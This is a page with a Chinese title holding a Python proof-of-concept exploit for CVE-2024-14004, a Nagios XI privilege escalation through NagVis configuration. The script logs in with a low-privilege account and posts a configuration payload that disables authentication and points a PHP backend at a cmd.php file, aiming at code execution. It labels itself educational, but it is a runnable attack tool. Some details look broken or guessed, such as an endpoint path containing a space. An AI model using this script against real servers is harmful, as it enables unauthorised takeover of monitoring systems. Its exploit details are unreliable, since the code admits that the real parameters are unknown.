CVE-2024-14004 Nagios XI NagVis配置权限提升漏洞

#!/usr/bin/env python3 """ CVE-2024-14004 PoC - Nagios XI NagVis Configuration Privilege Escalation Note: This is a conceptual PoC for educational and security testing purposes only. Author: Security Researcher Reference: https://www.vulncheck.com/advisories/nagios-xi-privilege-escalation-via-nagvis-configuration """ import requests import json import sys from urllib.parse import urljoin class CVE202414004Exploit: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.auth_token = None def authenticate(self): """Authenticate to Nagios XI with low-privilege account""" login_url = f"{self.target_url}/nagiosxi/login.php" login_data = { 'username': self.username, 'password': self.password, 'loginButton': 'Login' } try: response = self.session.post(login_url, data=login_data, timeout=30) if response.status_code == 200 and 'nagiosxi' in response.url: print(f"[+] Successfully authenticated as {self.username}") return True print("[-] Authentication failed") return False except requests.RequestException as e: print(f"[-] Connection error: {e}") return False def exploit_nagvis_config(self): """ Exploit NagVis configuration manipulation for privilege escalation This PoC demonstrates the configuration injection technique """ # Target NagVis configuration API endpoint nagvis_api = f"{self.target_url}/nagiosxi/includes/components/nagvis/class NagVisConfig.php" # Malicious configuration payload # Note: Actual exploitation requires specific parameter manipulation payload = { 'action': 'update', 'map_name': 'test_map', 'config_params': { 'backend': 'php', 'php_file': '/var/www/html/nagiosxi/scripts/cmd.php', 'auth_enabled': '0' } } print("[*] Attempting NagVis configuration manipulation...") print(f"[*] Target: {nagvis_api}") print(f"[*] Payload: {json.dumps(payload)}") try: response = self.session.post( nagvis_api, json=payload, headers={'Content-Type': 'application/json'}, timeout=30 ) if response.status_code == 200: print(f"[+] Configuration manipulation request sent") print("[*] Check if PHP code execution is achieved via config injection") return True return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(self): """Check if target is vulnerable""" check_url = f"{self.target_url}/nagvis/index.php" try: response = self.session.get(check_url, timeout=30) if 'NagVis' in response.text: print(f"[+] NagVis component detected on target") return True return False except requests.RequestException: return False def main(): if len(sys.argv) < 4: print(f"Usage: python3 {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python3 {sys.argv[0]} http://192.168.1.100/nagiosxi admin password123") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit = CVE202414004Exploit(target, username, password) print("="*60) print("CVE-2024-14004 PoC - Nagios XI NagVis Privilege Escalation") print("="*60) if exploit.check_vulnerability(): print("[+] Target appears to be running NagVis") if exploit.authenticate(): exploit.exploit_nagvis_config() print("[*] Exploitation attempt completed") print("[*] Manual verification required for privilege escalation") if __name__ == "__main__": main()